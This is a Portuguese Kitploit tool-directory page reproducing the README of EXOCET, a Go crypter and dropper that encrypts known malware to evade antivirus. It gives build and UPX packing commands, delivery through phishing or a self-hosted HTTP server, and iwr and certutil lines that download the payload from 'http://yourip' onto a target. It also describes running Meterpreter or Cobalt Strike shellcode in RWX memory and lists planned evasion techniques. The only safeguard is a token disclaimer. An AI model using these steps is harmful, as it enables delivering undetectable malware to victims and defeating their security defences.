Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EXOCET-AV-Evasion — EXOCET - Ferramenta de entrega de payload com evasão de AV e indetectável | Kitploit
Ferramentas/GitHubGitHub/tanc7/exocet-av-evasion
Frameworks de ExploraçãoGeração de PayloadsShellcodePós-ExploraçãoAnálise de MalwareCriptografiaTestes de PenetraçãoComando e ControleAprendizado e EducaçãoRed TeamingGeração de ShellcodeDesenvolvimento de Payloads
8381476há 4 anosRevisado pelo Kitploit
GitHubtanc7/exocet-av-evasion

EXOCET-AV-Evasion

EXOCET - Ferramenta de entrega de payload com evasão de AV e indetectável

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

EXOCET - Ferramenta de entrega de payloads indetectáveis e evasão de AV

Chang Tan
Certificado AWS Cloud Practitioner e Solutions Architect Associate
[email protected]


Uso Atualizado do EXOCET

Certifique-se de empacotar seus payloads para evitar qualquer vazamento da chave do crypter e frustrar ainda mais os analistas de malware. Não é necessário um empacotador comercial de alto nível como Themida. Isso levantaria ainda mais suspeitas sem algo como um certificado de assinatura de código. Sem certificado de assinatura de código, em sistemas Windows, o SmartScreen é acionado automaticamente. Esta é a regra para todos os programas potencialmente indesejados ou "PUPs", ou seja, todos os payloads de malware, beacons, geacons, trojans de acesso remoto, etc., exigem um certificado de assinatura de código. Seu dinheiro é melhor gasto na compra de um certificado de assinatura de código do que em algum empacotador de alto nível.

root@kitploit:~
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe

Então, solte o payload no seu alvo. Usando algo como um e-mail de phishing, link, ou se você já tiver acesso ao shell, entregue-o usando algo como hospedar seu próprio servidor localmente python -m http.server 80' e então, na máquina que você está comprometendo, execute como um prompt do powershell ou e então execute com

iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
outputmalware.exe


O EXOCET é superior aos módulos "Evasive Payloads" do Metasploit, pois o EXOCET usa AES-256 no Modo GCM (Galois/Counter Mode). Os Payloads de Evasão do Metasploit usam uma criptografia RC4 fácil de detectar. Enquanto o RC4 pode descriptografar mais rápido, o AES-256 é muito mais difícil de determinar a intenção do malware.

No entanto, é possível usar o Metasploit para construir um Payload Evasivo e, em seguida, encadeá-lo com o EXOCET. Assim, o EXOCET descriptografará via AES-256 e, em seguida, o Payload Evasivo do Metasploit se descriptografa do RC4.

Assim como meu projeto anterior, DarkLordObama, este kit de ferramentas é projetado para ser um veículo de entrega/lançamento, assim como o Veil-Evasion faz.

Projeto Dark Lord Obama

No entanto, o EXOCET não está limitado a uma única base de código ou plataformas que executam Python. O EXOCET funciona em TODAS as plataformas e arquiteturas suportadas pelo Go.

Visão Geral do Exocet

EXOCET é efetivamente um dropper de malware do tipo crypter que pode reciclar payloads facilmente detectáveis como WannaCry, criptografá-los usando AES-GCM (Modo Galois/Counter), que é mais seguro que AES-CBC, e então criar um arquivo dropper para a maioria das arquiteturas e plataformas existentes.

Basicamente...

  1. Ele ingere malware perigoso que agora é detectável pelos mecanismos antivírus
  2. Em seguida, ele os criptografa e produz seu próprio arquivo Go
  3. Então esse arquivo Go pode ser compilado de forma cruzada para 99% das arquiteturas conhecidas
  4. Após a execução, o payload criptografado é escrito no disco e executado imediatamente na linha de comando
  5. Alternativamente, em vez de um file-drop, ele executará o shellcode reconstituído na memória usando o módulo go-memexec de amenzhinsky github.com/amenzhinsky/go-memexec
  6. Um executor de shellcode personalizado está em desenvolvimento, ele pega shellcode C comum e, após a transformação num, irá executá-lo criando um novo processo após alocar o espaço de endereço virtual correto e concedendo permissões RWX no Windows

Isso significa arquiteturas de 32 bits e 64 bits, e funciona em Linux, Windows, Macs, Unix, Android, iPhone, etc. Você pega qualquer coisa, e quero dizer QUALQUER COISA, como o Verme Morris de 1988 que quase derrubou a internet (que explorou uma falha no daemon de escuta fingerd no UNIX), e a torna uma arma cibernética viável novamente.

O EXOCET é escrito inteiramente em Go.

Como usar

O EXOCET, independentemente de qual binário você usa para executá-lo, requer Golang para funcionar. Por padrão, ele gera um arquivo .go de criador de criptografia.

  1. Usuários Windows: Instale o Go Aqui
  2. Usuários Linux: execute sudo apt-get update && sudo apt-get install -y golang
  3. Você deve instalar os arquivos fonte do EXOCET no golang go get github.com/tanc7/EXOCET-AV-Evasion
  4. Sub-requisitos também serão baixados e instalados
  5. Para usuários Windows e Mac x64, binários pré-compilados estão na pasta /bin

Para executá-lo

go run EXOCET.go detectablemalware.exe outputmalware.go

Uma chave é gerada automaticamente para você. A chave tem 64 caracteres de comprimento e é inteiramente composta por redirecionadores de pipe de shell do bash e cmd.exe para confundir e interromper tentativas de força bruta contra a chave, causando comportamento imprevisível e destrutivo no dispositivo do analista forense.

Para alvos Windows 64 bits...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

E sai um arquivo outputmalware.exe

Para alvos MacOS 64 bits

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

Para alvos Linux 64 bits

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

Consulte esta referência no github para seus parâmetros para outros sistemas operacionais, como Android Referência para Compilação Cruzada Go

Observe que a chave ainda pode ser encontrada com o comando strings, por favor, use o comando upx-ucl para empacotar o binário e ocultar a chave.

Além disso, existem binários pré-construídos que eu fiz, ou seja, você só precisa executar ./EXOCET ou EXOCET-Windows.exe

Informações Legais

Eu, Chang Tan, e os criadores do módulo principal e submódulos do Exocet e os pacotes que ele incorpora NÃO somos responsáveis pelo uso indevido desta ferramenta. Esta é meramente uma ferramenta de teste de penetração. É estritamente proibido implantar binários de saída do Exocet contra sistemas protegidos não autorizados ou sistemas governamentais protegidos não autorizados.

Estou ciente de que atores de ameaças do APT41 e do NSO Group usaram e/ou adotaram código desta ferramenta, particularmente o método go-memexec. Se eu for abordado por Investigadores Federais sobre o uso indevido desta ferramenta, não estou assumindo responsabilidade.

Isso é o mesmo que aconteceu com os desenvolvedores do Mimikatz e do PowerShell Empire (que depreciaram seu próprio desenvolvimento ao perceberem seu uso entre atores de ameaças). Os sucessores retomaram o desenvolvimento do Empire, e existem alternativas gratuitas como o Covenant C2.

Demonstração ao vivo do EXOCET

Razão para o nome

Em 4 de maio de 1982, durante a Guerra das Malvinas, um esquadrão de Super Etendards argentinos lançou um míssil Exocet fabricado na França contra o HMS Sheffield. Apesar das tentativas da Marinha Real de parar o míssil, um atingiu, afundando o Sheffield. Esse incidente literalmente colocou a Argentina no mapa como uma demonstração de força contra um poder colonial global.

Artigo de notícias sobre o naufrágio do HMS Sheffield

Muito parecido com como as ações de Onel de Guzman com o vírus ILOVEYOU colocaram as Filipinas no mapa como uma ameaça cibernética.

Vírus ILOVEYOU na Wikipedia

Atualização futura, notas e ambições

.png)

Então este mês, e o próximo mês, serão meses ocupados para mim, e haverá atrasos na implementação desses métodos. Mas estou animado para começar a implementar novas técnicas de evasão de AV, como...

  1. Inline hooking
  2. Ofuscação por emulação de BlackRota e módulo gobfuscate
  3. Process hollowing
  4. Injeção de DLL reflexiva
  5. Injeção remota de processo
  6. Callbacks de ThreadLocalStorage
  7. Registro de manipuladores de exceção de nível superior
  8. Empacotamento UPX personalizado

Sou um homem muito ocupado, tenho as seguintes prioridades e gostaria de solicitar alguma ajuda, alguns pull requests para auxiliar no projeto. Já que tenho as seguintes coisas a fazer

  1. Uma aparição no tribunal no final de outubro
  2. National Cyber League
  3. Aulas de Contabilidade e Finanças, Ciência da Computação NUNCA foi minha especialidade na faculdade e nas próximas semanas terei exames consecutivos
  4. Condições de Liberdade Supervisionada Federal e o FBI tentando me implicar em novos crimes não comprovados. Tenho vídeos de câmera de painel que fiz upload para a nuvem para provar que estou enviando para meus advogados. Documentei múltiplos ataques contra mim, vandalismo no meu carro, na minha casa, registrei boletins de ocorrência e contra ocorrências e estou construindo meu caso para entrar com uma ação judicial federal. Um dos perpetradores, que arrancou o parachoque dianteiro do meu carro, foi preso.
  5. Um projeto privado envolvendo interação com a CoinGeckoAPI
  6. Administrando o cryptoscopeinitiative.org, uma Organização Sem Fins Lucrativos 501c3 a ser registrada
  7. Ensinando três aulas online sobre Desenvolvimento de Exploits

Atualização futura! Execução de shellcode criptografado diretamente! (Implementado em versões de teste, ainda não lançado)

Preciso de um pouco de ajuda, porque implementei com sucesso o CGO para executar shellcode criptografado, mas está gerando violações de acesso à memória exit status 0xc0000005. Não deve ser nada relacionado ao DEP (Prevenção de Execução de Dados) porque o arquivo CGOTest/working-template-shellcode-executor.go foi executado.

Problema Descoberto

Acontece que o VirtualAlloc deve ser chamado de kernel32.dll e ntdll.dll para tornar adequadamente a página de memória onde o shellcode pousa, legível, gravável e executável, em outras palavras, definir PAGE_EXECUTE_READWRITE como ON. Leia a Nota sobre o Problema de Violação de Acesso à Memória abaixo.

Quando eu descobrir isso, o CGO foi uma droga de implementar, agora podemos criar crypters que executam INLINE-ASSEMBLY. O que era considerado uma impossibilidade até agora.

Observe que isso requer Golang e o toolchain MinGW instalados no Windows com você executando e gerando o shellcode no Windows. A razão é que o CGO não pode ser compilado de forma cruzada como nossos outros módulos EXOCET. Para instalar o toolchain, você precisa ir para https://www.msys2.org/ e seguir o guia. Então você deve adicionar gcc às suas variáveis de ambiente no Windows

Passo 1: Gerar shellcode, isso pode ser de payloads msfvenom Meterpreter, Beacons Cobalt Strike, ou seu próprio shellcode personalizado em formato compatível com C

Passo 2: Copie apenas os bytes do shellcode, excluindo as aspas, para um arquivo de texto como sc.txt

Passo 3: Seu arquivo de shellcode deve ficar assim. Shellcode bruto

Passo 4: Agora execute o comando go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY

Passo 5: Você pode tentar executá-lo, mas encontrará erros de violação de acesso à memória por algum motivo, no qual ainda estou trabalhando

Nota sobre o Problema de Violação de Acesso à Memória

Aparentemente, além das principais limitações do CGO que proíbem ou frustram drasticamente a compilação cruzada, o problema é que o shellcode que queremos executar está pousando em uma seção de memória (analisada no WinDBG x64) que não é RWX. Em outras palavras, a menos que escrevamos código C que explicitamente permita a execução na memória do shellcode, sempre lançará erros de violação de acesso.

O outro método, que observei em outros desenvolvedores de módulos Go rudimentares https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, é que eles usam a API do Windows do Go para interagir com ntdll.dll e kernel32.dll para chamar VirtualAlloc e especificar áreas de páginas de memória RWX. Este método funciona melhor, mas parece que o shellcode deve estar apenas no formato num-transformed para funcionar.

Ainda estou trabalhando nisso, pessoal. Posso combinar várias linguagens de programação para escrever um módulo de execução de shellcode adequado.

Nota sobre Chips Apple M1 para binários pré-compilados

Infelizmente, estou encontrando erros ao fazer um binário pré-compilado para MacBooks com as novas CPUs M1. Pode ser um problema com minha instalação do Golang

root@kitploit:~
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go 
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

De qualquer forma, você ainda precisa do Golang para compilar ou compilar de forma cruzada o malware para a plataforma que está segmentando.

Baixar ferramenta